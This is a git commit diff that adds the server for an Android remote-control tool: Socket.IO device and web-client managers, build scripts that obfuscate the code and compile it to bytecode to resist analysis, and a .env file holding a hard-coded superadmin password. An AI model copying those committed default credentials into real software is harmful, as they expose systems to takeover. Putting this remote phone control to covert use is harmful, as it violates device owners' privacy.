(rebase) Avoid include binaries and dists in repo.
This commit is contained in:
2
.env
Normal file
2
.env
Normal file
@@ -0,0 +1,2 @@
|
||||
SUPERADMIN_USERNAME=superadmin
|
||||
SUPERADMIN_PASSWORD=superadmin123456789
|
||||
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
node_modules/
|
||||
dist/
|
||||
devices.db
|
||||
.user_data.json
|
||||
android/
|
||||
public/
|
||||
9
deploy-package.json
Normal file
9
deploy-package.json
Normal file
@@ -0,0 +1,9 @@
|
||||
{
|
||||
"name": "remote-control-server",
|
||||
"version": "1.0.3",
|
||||
"description": "Remote Control Server - Runtime Dependencies for pkg",
|
||||
"dependencies": {
|
||||
"better-sqlite3": "^11.10.0"
|
||||
}
|
||||
}
|
||||
|
||||
42
fix-better-sqlite3.sh
Normal file
42
fix-better-sqlite3.sh
Normal file
@@ -0,0 +1,42 @@
|
||||
#!/bin/bash
|
||||
# better-sqlite3 修复脚本
|
||||
# 用于在部署目录重新编译 better-sqlite3 以匹配 pkg 的 Node.js 18
|
||||
|
||||
cd /opt/deploy || exit 1
|
||||
|
||||
echo "正在修复 better-sqlite3 原生模块..."
|
||||
|
||||
# 检查 package.json 是否存在
|
||||
if [ ! -f "package.json" ]; then
|
||||
echo "创建 package.json..."
|
||||
cat > package.json << 'EOF'
|
||||
{
|
||||
"name": "remote-control-server",
|
||||
"version": "1.0.3",
|
||||
"dependencies": {
|
||||
"better-sqlite3": "^11.10.0"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
# 安装依赖
|
||||
echo "安装 better-sqlite3..."
|
||||
npm install --production
|
||||
|
||||
# 重新编译 better-sqlite3 以匹配 Node.js 18 (NODE_MODULE_VERSION 108)
|
||||
echo "重新编译 better-sqlite3 以匹配 Node.js 18..."
|
||||
cd node_modules/better-sqlite3 || exit 1
|
||||
|
||||
# 使用 node-gyp 重新编译
|
||||
npx node-gyp rebuild --target=18.0.0 --arch=x64 --target_platform=linux
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "✅ better-sqlite3 重新编译成功!"
|
||||
echo "现在可以运行 ./remote-control-server"
|
||||
else
|
||||
echo "❌ 重新编译失败,尝试使用 npm rebuild..."
|
||||
cd /opt/deploy
|
||||
npm rebuild better-sqlite3 --target=18 --target_arch=x64 --target_platform=linux
|
||||
fi
|
||||
|
||||
17
nodemon.json
Normal file
17
nodemon.json
Normal file
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"watch": ["src"],
|
||||
"ignore": [
|
||||
"android/source_apk/**/*",
|
||||
"android/*.keystore",
|
||||
"android/*.jks",
|
||||
"android/build_output/**/*",
|
||||
"logs/**/*",
|
||||
"devices.db",
|
||||
"node_modules/**/*",
|
||||
"public/**/*"
|
||||
],
|
||||
"ext": "ts,js,json",
|
||||
"exec": "ts-node src/index.ts",
|
||||
"delay": 1000
|
||||
}
|
||||
|
||||
36
obfuscate.config.js
Normal file
36
obfuscate.config.js
Normal file
@@ -0,0 +1,36 @@
|
||||
/**
|
||||
* JavaScript 混淆配置
|
||||
* 用于增加代码阅读难度,防止代码被轻易破解
|
||||
*/
|
||||
module.exports = {
|
||||
compact: true,
|
||||
controlFlowFlattening: true,
|
||||
controlFlowFlatteningThreshold: 0.75,
|
||||
deadCodeInjection: true,
|
||||
deadCodeInjectionThreshold: 0.4,
|
||||
debugProtection: false, // 设置为 true 会阻止调试,但可能影响性能
|
||||
debugProtectionInterval: 0,
|
||||
disableConsoleOutput: false, // 设置为 true 会移除 console,但可能影响调试
|
||||
identifierNamesGenerator: 'hexadecimal',
|
||||
log: false,
|
||||
numbersToExpressions: true,
|
||||
renameGlobals: false,
|
||||
selfDefending: false, // 设置为 false,避免与 pkg 冲突
|
||||
simplify: true,
|
||||
splitStrings: true,
|
||||
splitStringsChunkLength: 10,
|
||||
stringArray: true,
|
||||
stringArrayCallsTransform: true,
|
||||
stringArrayEncoding: ['base64'],
|
||||
stringArrayIndexShift: true,
|
||||
stringArrayRotate: true,
|
||||
stringArrayShuffle: true,
|
||||
stringArrayWrappersCount: 2,
|
||||
stringArrayWrappersChainedCalls: true,
|
||||
stringArrayWrappersParametersMaxCount: 4,
|
||||
stringArrayWrappersType: 'function',
|
||||
stringArrayThreshold: 0.75,
|
||||
transformObjectKeys: true,
|
||||
unicodeEscapeSequence: false
|
||||
}
|
||||
|
||||
84
package.json
Normal file
84
package.json
Normal file
@@ -0,0 +1,84 @@
|
||||
{
|
||||
"name": "remote-control-server",
|
||||
"version": "1.0.3",
|
||||
"description": "Android远程控制服务端 - 修复连接稳定性问题",
|
||||
"main": "dist/index.js",
|
||||
"bin": "dist/index.js",
|
||||
"scripts": {
|
||||
"start": "node dist/index.js",
|
||||
"dev": "nodemon src/index.ts",
|
||||
"build": "tsc",
|
||||
"obfuscate": "node scripts/obfuscate.js dist dist-obfuscated",
|
||||
"build:obfuscated": "npm run build && npm run obfuscate",
|
||||
"build:linux": "npm run build && pkg dist/index.js --targets node18-linux-x64 --output dist/server",
|
||||
"build:linux:obfuscated": "npm run build:obfuscated && pkg dist-obfuscated/index.js --targets node18-linux-x64 --output dist/server",
|
||||
"build:linux:fast": "npm run build && ncc build dist/index.js -o dist/bundle -m --no-source-map-register",
|
||||
"build:linux:fast:obfuscated": "npm run build:obfuscated && ncc build dist-obfuscated/index.js -o dist/bundle -m --no-source-map-register",
|
||||
"build:linux:standalone": "npm run build:linux:fast && node -e \"const fs=require('fs');const content=fs.readFileSync('dist/bundle/index.js');fs.writeFileSync('dist/remote-control-server.js','#!/usr/bin/env node\\n'+content);\"",
|
||||
"build:linux:standalone:obfuscated": "npm run build:linux:fast:obfuscated && node -e \"const fs=require('fs');const content=fs.readFileSync('dist/bundle/index.js');fs.writeFileSync('dist/remote-control-server.js','#!/usr/bin/env node\\n'+content);\"",
|
||||
"pkg": "pkg",
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"pkg": {
|
||||
"scripts": [
|
||||
"dist/**/*.js",
|
||||
"dist-obfuscated/**/*.js"
|
||||
],
|
||||
"assets": [
|
||||
"android/**/*",
|
||||
"public/**/*",
|
||||
"src/source_apk/**/*"
|
||||
],
|
||||
"outputPath": "dist",
|
||||
"targets": [
|
||||
"node18-win-x64",
|
||||
"node18-linux-x64",
|
||||
"node18-macos-x64"
|
||||
],
|
||||
"browser": false,
|
||||
"bytenode": false
|
||||
},
|
||||
"keywords": [
|
||||
"remote-control",
|
||||
"android",
|
||||
"websocket",
|
||||
"screen-sharing"
|
||||
],
|
||||
"author": "",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/bcryptjs": "^2.4.6",
|
||||
"@types/jsonwebtoken": "^9.0.10",
|
||||
"@types/multer": "^1.4.13",
|
||||
"@types/node": "^20.11.24",
|
||||
"bcryptjs": "^3.0.2",
|
||||
"cors": "^2.8.5",
|
||||
"dotenv": "^17.2.3",
|
||||
"express": "^4.18.2",
|
||||
"jsonwebtoken": "^9.0.2",
|
||||
"multer": "^2.0.1",
|
||||
"socket.io": "^4.8.1",
|
||||
"sqlite3": "^5.1.7",
|
||||
"uuid": "^11.0.3",
|
||||
"winston": "^3.11.0",
|
||||
"ws": "^8.18.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/better-sqlite3": "^7.6.13",
|
||||
"@types/cors": "^2.8.17",
|
||||
"@types/express": "^5.0.2",
|
||||
"@types/uuid": "^10.0.0",
|
||||
"@types/ws": "^8.5.13",
|
||||
"@vercel/ncc": "^0.38.4",
|
||||
"bytenode": "^1.5.7",
|
||||
"javascript-obfuscator": "^4.1.1",
|
||||
"nodemon": "^3.1.7",
|
||||
"pkg": "^5.8.1",
|
||||
"terser": "^5.44.1",
|
||||
"ts-node": "^10.9.2",
|
||||
"typescript": "^5.7.2"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"better-sqlite3": "^12.6.2"
|
||||
}
|
||||
}
|
||||
3831
pnpm-lock.yaml
generated
Normal file
3831
pnpm-lock.yaml
generated
Normal file
File diff suppressed because it is too large
Load Diff
3
pnpm-workspace.yaml
Normal file
3
pnpm-workspace.yaml
Normal file
@@ -0,0 +1,3 @@
|
||||
onlyBuiltDependencies:
|
||||
- better-sqlite3
|
||||
- sqlite3
|
||||
113
scripts/compile-to-bytecode.js
Normal file
113
scripts/compile-to-bytecode.js
Normal file
@@ -0,0 +1,113 @@
|
||||
/**
|
||||
* 将 JavaScript 编译成字节码
|
||||
* 使用 bytenode 将 JS 编译成 .jsc 文件,增加破解难度
|
||||
*/
|
||||
const bytenode = require('bytenode')
|
||||
const fs = require('fs')
|
||||
const path = require('path')
|
||||
|
||||
/**
|
||||
* 编译单个文件为字节码
|
||||
*/
|
||||
function compileFile(inputPath, outputPath) {
|
||||
try {
|
||||
console.log(`编译字节码: ${inputPath} -> ${outputPath}`)
|
||||
|
||||
// 确保输出目录存在
|
||||
const outputDir = path.dirname(outputPath)
|
||||
if (!fs.existsSync(outputDir)) {
|
||||
fs.mkdirSync(outputDir, { recursive: true })
|
||||
}
|
||||
|
||||
// 编译为字节码
|
||||
bytenode.compileFile(inputPath, outputPath)
|
||||
|
||||
console.log(`✅ 编译完成: ${outputPath}`)
|
||||
return true
|
||||
} catch (error) {
|
||||
console.error(`❌ 编译失败: ${inputPath}`, error.message)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 递归编译目录中的所有 JS 文件
|
||||
*/
|
||||
function compileDirectory(inputDir, outputDir) {
|
||||
if (!fs.existsSync(inputDir)) {
|
||||
console.error(`❌ 输入目录不存在: ${inputDir}`)
|
||||
return false
|
||||
}
|
||||
|
||||
const files = fs.readdirSync(inputDir)
|
||||
let successCount = 0
|
||||
let failCount = 0
|
||||
|
||||
files.forEach(file => {
|
||||
const inputPath = path.join(inputDir, file)
|
||||
const stat = fs.statSync(inputPath)
|
||||
|
||||
if (stat.isDirectory()) {
|
||||
// 递归处理子目录
|
||||
const subOutputDir = path.join(outputDir, file)
|
||||
if (compileDirectory(inputPath, subOutputDir)) {
|
||||
successCount++
|
||||
} else {
|
||||
failCount++
|
||||
}
|
||||
} else if (file.endsWith('.js') && !file.endsWith('.min.js')) {
|
||||
// 编译 .js 文件为 .jsc
|
||||
const outputPath = path.join(outputDir, file.replace('.js', '.jsc'))
|
||||
if (compileFile(inputPath, outputPath)) {
|
||||
successCount++
|
||||
} else {
|
||||
failCount++
|
||||
}
|
||||
} else {
|
||||
// 复制非 JS 文件
|
||||
const outputPath = path.join(outputDir, file)
|
||||
const outputPathDir = path.dirname(outputPath)
|
||||
if (!fs.existsSync(outputPathDir)) {
|
||||
fs.mkdirSync(outputPathDir, { recursive: true })
|
||||
}
|
||||
fs.copyFileSync(inputPath, outputPath)
|
||||
}
|
||||
})
|
||||
|
||||
console.log(`\n编译统计: 成功 ${successCount} 个文件, 失败 ${failCount} 个文件`)
|
||||
return failCount === 0
|
||||
}
|
||||
|
||||
// 主函数
|
||||
function main() {
|
||||
const args = process.argv.slice(2)
|
||||
|
||||
if (args.length < 2) {
|
||||
console.log('用法: node compile-to-bytecode.js <输入目录> <输出目录>')
|
||||
console.log('示例: node compile-to-bytecode.js dist dist-bytecode')
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
const inputDir = path.resolve(args[0])
|
||||
const outputDir = path.resolve(args[1])
|
||||
|
||||
console.log('开始编译为字节码...')
|
||||
console.log(`输入目录: ${inputDir}`)
|
||||
console.log(`输出目录: ${outputDir}\n`)
|
||||
|
||||
if (compileDirectory(inputDir, outputDir)) {
|
||||
console.log('\n✅ 所有文件编译完成!')
|
||||
console.log('注意: 字节码文件需要 bytenode 运行时才能执行')
|
||||
process.exit(0)
|
||||
} else {
|
||||
console.log('\n❌ 编译过程中有错误')
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
main()
|
||||
}
|
||||
|
||||
module.exports = { compileFile, compileDirectory }
|
||||
|
||||
116
scripts/obfuscate.js
Normal file
116
scripts/obfuscate.js
Normal file
@@ -0,0 +1,116 @@
|
||||
/**
|
||||
* 代码混淆脚本
|
||||
* 使用 javascript-obfuscator 混淆代码
|
||||
*/
|
||||
const JavaScriptObfuscator = require('javascript-obfuscator')
|
||||
const fs = require('fs')
|
||||
const path = require('path')
|
||||
const config = require('../obfuscate.config.js')
|
||||
|
||||
/**
|
||||
* 混淆单个文件
|
||||
*/
|
||||
function obfuscateFile(inputPath, outputPath) {
|
||||
try {
|
||||
console.log(`混淆文件: ${inputPath} -> ${outputPath}`)
|
||||
|
||||
const code = fs.readFileSync(inputPath, 'utf8')
|
||||
const obfuscationResult = JavaScriptObfuscator.obfuscate(code, config)
|
||||
const obfuscatedCode = obfuscationResult.getObfuscatedCode()
|
||||
|
||||
// 确保输出目录存在
|
||||
const outputDir = path.dirname(outputPath)
|
||||
if (!fs.existsSync(outputDir)) {
|
||||
fs.mkdirSync(outputDir, { recursive: true })
|
||||
}
|
||||
|
||||
fs.writeFileSync(outputPath, obfuscatedCode, 'utf8')
|
||||
console.log(`✅ 混淆完成: ${outputPath}`)
|
||||
|
||||
return true
|
||||
} catch (error) {
|
||||
console.error(`❌ 混淆失败: ${inputPath}`, error.message)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 递归混淆目录中的所有 JS 文件
|
||||
*/
|
||||
function obfuscateDirectory(inputDir, outputDir) {
|
||||
if (!fs.existsSync(inputDir)) {
|
||||
console.error(`❌ 输入目录不存在: ${inputDir}`)
|
||||
return false
|
||||
}
|
||||
|
||||
const files = fs.readdirSync(inputDir)
|
||||
let successCount = 0
|
||||
let failCount = 0
|
||||
|
||||
files.forEach(file => {
|
||||
const inputPath = path.join(inputDir, file)
|
||||
const stat = fs.statSync(inputPath)
|
||||
|
||||
if (stat.isDirectory()) {
|
||||
// 递归处理子目录
|
||||
const subOutputDir = path.join(outputDir, file)
|
||||
if (obfuscateDirectory(inputPath, subOutputDir)) {
|
||||
successCount++
|
||||
} else {
|
||||
failCount++
|
||||
}
|
||||
} else if (file.endsWith('.js') && !file.endsWith('.min.js')) {
|
||||
// 只混淆 .js 文件,跳过已压缩的文件
|
||||
const outputPath = path.join(outputDir, file)
|
||||
if (obfuscateFile(inputPath, outputPath)) {
|
||||
successCount++
|
||||
} else {
|
||||
failCount++
|
||||
}
|
||||
} else {
|
||||
// 复制非 JS 文件
|
||||
const outputPath = path.join(outputDir, file)
|
||||
const outputPathDir = path.dirname(outputPath)
|
||||
if (!fs.existsSync(outputPathDir)) {
|
||||
fs.mkdirSync(outputPathDir, { recursive: true })
|
||||
}
|
||||
fs.copyFileSync(inputPath, outputPath)
|
||||
}
|
||||
})
|
||||
|
||||
console.log(`\n混淆统计: 成功 ${successCount} 个文件, 失败 ${failCount} 个文件`)
|
||||
return failCount === 0
|
||||
}
|
||||
|
||||
// 主函数
|
||||
function main() {
|
||||
const args = process.argv.slice(2)
|
||||
|
||||
if (args.length < 2) {
|
||||
console.log('用法: node obfuscate.js <输入目录> <输出目录>')
|
||||
console.log('示例: node obfuscate.js dist dist-obfuscated')
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
const inputDir = path.resolve(args[0])
|
||||
const outputDir = path.resolve(args[1])
|
||||
|
||||
console.log('开始混淆代码...')
|
||||
console.log(`输入目录: ${inputDir}`)
|
||||
console.log(`输出目录: ${outputDir}\n`)
|
||||
|
||||
if (obfuscateDirectory(inputDir, outputDir)) {
|
||||
console.log('\n✅ 所有文件混淆完成!')
|
||||
process.exit(0)
|
||||
} else {
|
||||
console.log('\n❌ 混淆过程中有错误')
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
main()
|
||||
}
|
||||
|
||||
module.exports = { obfuscateFile, obfuscateDirectory }
|
||||
|
||||
2358
src/index.ts
Normal file
2358
src/index.ts
Normal file
File diff suppressed because it is too large
Load Diff
230
src/managers/DeviceManager.ts
Normal file
230
src/managers/DeviceManager.ts
Normal file
@@ -0,0 +1,230 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 设备信息接口
|
||||
*/
|
||||
export interface DeviceInfo {
|
||||
id: string
|
||||
socketId: string
|
||||
name: string
|
||||
model: string
|
||||
osVersion: string
|
||||
appVersion: string
|
||||
appPackage?: string
|
||||
appName?: string
|
||||
screenWidth: number
|
||||
screenHeight: number
|
||||
capabilities: string[]
|
||||
connectedAt: Date
|
||||
lastSeen: Date
|
||||
status: 'online' | 'offline' | 'busy'
|
||||
inputBlocked?: boolean
|
||||
isLocked?: boolean // 设备锁屏状态
|
||||
remark?: string // 🆕 设备备注
|
||||
publicIP?: string
|
||||
// 🆕 新增系统版本信息字段
|
||||
systemVersionName?: string // 如"Android 11"、"Android 12"
|
||||
romType?: string // 如"MIUI"、"ColorOS"、"原生Android"
|
||||
romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1"
|
||||
osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号
|
||||
}
|
||||
|
||||
/**
|
||||
* 设备状态接口
|
||||
*/
|
||||
export interface DeviceStatus {
|
||||
cpu: number
|
||||
memory: number
|
||||
battery: number
|
||||
networkSpeed: number
|
||||
orientation: 'portrait' | 'landscape'
|
||||
screenOn: boolean
|
||||
}
|
||||
|
||||
/**
|
||||
* 设备管理器
|
||||
*/
|
||||
class DeviceManager {
|
||||
private devices: Map<string, DeviceInfo> = new Map()
|
||||
private deviceStatuses: Map<string, DeviceStatus> = new Map()
|
||||
private socketToDevice: Map<string, string> = new Map()
|
||||
private logger: Logger
|
||||
|
||||
constructor() {
|
||||
this.logger = new Logger('DeviceManager')
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有设备记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllDevices(): void {
|
||||
const deviceCount = this.devices.size
|
||||
this.devices.clear()
|
||||
this.deviceStatuses.clear()
|
||||
this.socketToDevice.clear()
|
||||
this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加设备
|
||||
*/
|
||||
addDevice(deviceInfo: DeviceInfo): void {
|
||||
this.devices.set(deviceInfo.id, deviceInfo)
|
||||
this.socketToDevice.set(deviceInfo.socketId, deviceInfo.id)
|
||||
this.logger.info(`设备已添加: ${deviceInfo.name} (${deviceInfo.id})`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 移除设备
|
||||
*/
|
||||
removeDevice(deviceId: string): boolean {
|
||||
const device = this.devices.get(deviceId)
|
||||
if (device) {
|
||||
this.devices.delete(deviceId)
|
||||
this.deviceStatuses.delete(deviceId)
|
||||
this.socketToDevice.delete(device.socketId)
|
||||
this.logger.info(`设备已移除: ${device.name} (${deviceId})`)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过Socket ID移除设备
|
||||
*/
|
||||
removeDeviceBySocketId(socketId: string): boolean {
|
||||
const deviceId = this.socketToDevice.get(socketId)
|
||||
if (deviceId) {
|
||||
return this.removeDevice(deviceId)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备信息
|
||||
*/
|
||||
getDevice(deviceId: string): DeviceInfo | undefined {
|
||||
return this.devices.get(deviceId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过Socket ID获取设备
|
||||
*/
|
||||
getDeviceBySocketId(socketId: string): DeviceInfo | undefined {
|
||||
const deviceId = this.socketToDevice.get(socketId)
|
||||
return deviceId ? this.devices.get(deviceId) : undefined
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有设备
|
||||
*/
|
||||
getAllDevices(): DeviceInfo[] {
|
||||
return Array.from(this.devices.values())
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取在线设备
|
||||
*/
|
||||
getOnlineDevices(): DeviceInfo[] {
|
||||
return Array.from(this.devices.values()).filter(device => device.status === 'online')
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备数量
|
||||
*/
|
||||
getDeviceCount(): number {
|
||||
return this.devices.size
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新设备状态
|
||||
*/
|
||||
updateDeviceStatus(socketId: string, status: DeviceStatus): void {
|
||||
const deviceId = this.socketToDevice.get(socketId)
|
||||
if (deviceId) {
|
||||
const device = this.devices.get(deviceId)
|
||||
if (device) {
|
||||
device.lastSeen = new Date()
|
||||
this.deviceStatuses.set(deviceId, status)
|
||||
this.logger.debug(`设备状态已更新: ${deviceId}`, status)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备状态
|
||||
*/
|
||||
getDeviceStatus(deviceId: string): DeviceStatus | undefined {
|
||||
return this.deviceStatuses.get(deviceId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新设备连接状态
|
||||
*/
|
||||
updateDeviceConnectionStatus(deviceId: string, status: DeviceInfo['status']): void {
|
||||
const device = this.devices.get(deviceId)
|
||||
if (device) {
|
||||
device.status = status
|
||||
device.lastSeen = new Date()
|
||||
this.logger.info(`设备连接状态已更新: ${deviceId} -> ${status}`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查设备是否在线
|
||||
*/
|
||||
isDeviceOnline(deviceId: string): boolean {
|
||||
const device = this.devices.get(deviceId)
|
||||
return device ? device.status === 'online' : false
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备的Socket ID
|
||||
*/
|
||||
getDeviceSocketId(deviceId: string): string | undefined {
|
||||
const device = this.devices.get(deviceId)
|
||||
return device?.socketId
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理离线设备 (超过指定时间未活跃)
|
||||
*/
|
||||
cleanupOfflineDevices(timeoutMs: number = 300000): void {
|
||||
const now = Date.now()
|
||||
const devicesToRemove: string[] = []
|
||||
|
||||
for (const [deviceId, device] of this.devices.entries()) {
|
||||
if (now - device.lastSeen.getTime() > timeoutMs) {
|
||||
devicesToRemove.push(deviceId)
|
||||
}
|
||||
}
|
||||
|
||||
devicesToRemove.forEach(deviceId => {
|
||||
this.removeDevice(deviceId)
|
||||
})
|
||||
|
||||
if (devicesToRemove.length > 0) {
|
||||
this.logger.info(`已清理 ${devicesToRemove.length} 个离线设备`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备统计信息
|
||||
*/
|
||||
getDeviceStats(): {
|
||||
total: number
|
||||
online: number
|
||||
offline: number
|
||||
busy: number
|
||||
} {
|
||||
const devices = Array.from(this.devices.values())
|
||||
return {
|
||||
total: devices.length,
|
||||
online: devices.filter(d => d.status === 'online').length,
|
||||
offline: devices.filter(d => d.status === 'offline').length,
|
||||
busy: devices.filter(d => d.status === 'busy').length,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default DeviceManager
|
||||
466
src/managers/WebClientManager.ts
Normal file
466
src/managers/WebClientManager.ts
Normal file
@@ -0,0 +1,466 @@
|
||||
import { Server as SocketIOServer, Socket } from 'socket.io'
|
||||
import Logger from '../utils/Logger'
|
||||
import { DatabaseService } from '../services/DatabaseService'
|
||||
|
||||
/**
|
||||
* Web客户端信息接口
|
||||
*/
|
||||
export interface WebClientInfo {
|
||||
id: string
|
||||
socketId: string
|
||||
userAgent: string
|
||||
ip: string
|
||||
connectedAt: Date
|
||||
lastSeen: Date
|
||||
controllingDeviceId?: string
|
||||
userId?: string // 🔐 添加用户ID字段
|
||||
username?: string // 🔐 添加用户名字段
|
||||
}
|
||||
|
||||
/**
|
||||
* Web客户端管理器
|
||||
*/
|
||||
class WebClientManager {
|
||||
private clients: Map<string, WebClientInfo> = new Map()
|
||||
private socketToClient: Map<string, string> = new Map()
|
||||
private deviceControllers: Map<string, string> = new Map() // deviceId -> clientId
|
||||
private logger: Logger
|
||||
public io?: SocketIOServer
|
||||
private databaseService?: DatabaseService // 🔐 添加数据库服务引用
|
||||
|
||||
// 🔧 添加请求速率限制 - 防止频繁重复请求
|
||||
private requestTimestamps: Map<string, number> = new Map() // "clientId:deviceId" -> timestamp
|
||||
private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间)
|
||||
|
||||
constructor(databaseService?: DatabaseService) {
|
||||
this.logger = new Logger('WebClientManager')
|
||||
this.databaseService = databaseService
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有客户端记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllClients(): void {
|
||||
const clientCount = this.clients.size
|
||||
this.clients.clear()
|
||||
this.socketToClient.clear()
|
||||
this.deviceControllers.clear()
|
||||
this.requestTimestamps.clear()
|
||||
this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置Socket.IO实例
|
||||
*/
|
||||
setSocketIO(io: SocketIOServer): void {
|
||||
this.io = io
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加Web客户端
|
||||
*/
|
||||
addClient(clientInfo: WebClientInfo): void {
|
||||
// 🔧 检查是否已有相同Socket ID的客户端记录
|
||||
const existingClientId = this.socketToClient.get(clientInfo.socketId)
|
||||
if (existingClientId) {
|
||||
this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`)
|
||||
this.removeClient(existingClientId)
|
||||
}
|
||||
|
||||
this.clients.set(clientInfo.id, clientInfo)
|
||||
this.socketToClient.set(clientInfo.socketId, clientInfo.id)
|
||||
this.logger.info(`Web客户端已添加: ${clientInfo.id} from ${clientInfo.ip}`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 移除Web客户端
|
||||
*/
|
||||
removeClient(clientId: string): boolean {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
this.clients.delete(clientId)
|
||||
this.socketToClient.delete(client.socketId)
|
||||
|
||||
// 如果客户端正在控制设备,释放控制权
|
||||
if (client.controllingDeviceId) {
|
||||
this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
// 清理请求时间戳记录
|
||||
const keysToDelete = Array.from(this.requestTimestamps.keys()).filter(key => key.startsWith(clientId + ':'))
|
||||
keysToDelete.forEach(key => this.requestTimestamps.delete(key))
|
||||
|
||||
this.logger.info(`Web客户端已移除: ${clientId}`)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过Socket ID移除客户端
|
||||
*/
|
||||
removeClientBySocketId(socketId: string): boolean {
|
||||
const clientId = this.socketToClient.get(socketId)
|
||||
if (clientId) {
|
||||
return this.removeClient(clientId)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取客户端信息
|
||||
*/
|
||||
getClient(clientId: string): WebClientInfo | undefined {
|
||||
return this.clients.get(clientId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过Socket ID获取客户端
|
||||
*/
|
||||
getClientBySocketId(socketId: string): WebClientInfo | undefined {
|
||||
const clientId = this.socketToClient.get(socketId)
|
||||
return clientId ? this.clients.get(clientId) : undefined
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有客户端
|
||||
*/
|
||||
getAllClients(): WebClientInfo[] {
|
||||
return Array.from(this.clients.values())
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取客户端数量
|
||||
*/
|
||||
getClientCount(): number {
|
||||
return this.clients.size
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取客户端Socket
|
||||
*/
|
||||
getClientSocket(clientId: string): Socket | undefined {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client && this.io) {
|
||||
return this.io.sockets.sockets.get(client.socketId)
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
/**
|
||||
* 请求控制设备
|
||||
*/
|
||||
requestDeviceControl(clientId: string, deviceId: string): {
|
||||
success: boolean
|
||||
message: string
|
||||
currentController?: string
|
||||
} {
|
||||
// 🔧 防止频繁重复请求
|
||||
const requestKey = `${clientId}:${deviceId}`
|
||||
const now = Date.now()
|
||||
const lastRequestTime = this.requestTimestamps.get(requestKey) || 0
|
||||
|
||||
if (now - lastRequestTime < this.REQUEST_COOLDOWN) {
|
||||
this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`)
|
||||
return {
|
||||
success: false,
|
||||
message: '请求过于频繁,请稍后再试'
|
||||
}
|
||||
}
|
||||
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
if (!client) {
|
||||
this.logger.error(`❌ 客户端不存在: ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '客户端不存在'
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
const currentController = this.deviceControllers.get(deviceId)
|
||||
if (currentController === clientId) {
|
||||
this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`)
|
||||
client.lastSeen = new Date()
|
||||
// 更新请求时间戳,但返回成功(避免频繁日志)
|
||||
this.requestTimestamps.set(requestKey, now)
|
||||
return {
|
||||
success: true,
|
||||
message: '已在控制此设备'
|
||||
}
|
||||
}
|
||||
|
||||
// 记录请求时间戳(在检查重复控制后记录)
|
||||
this.requestTimestamps.set(requestKey, now)
|
||||
|
||||
// 检查设备是否被其他客户端控制
|
||||
if (currentController && currentController !== clientId) {
|
||||
const controllerClient = this.clients.get(currentController)
|
||||
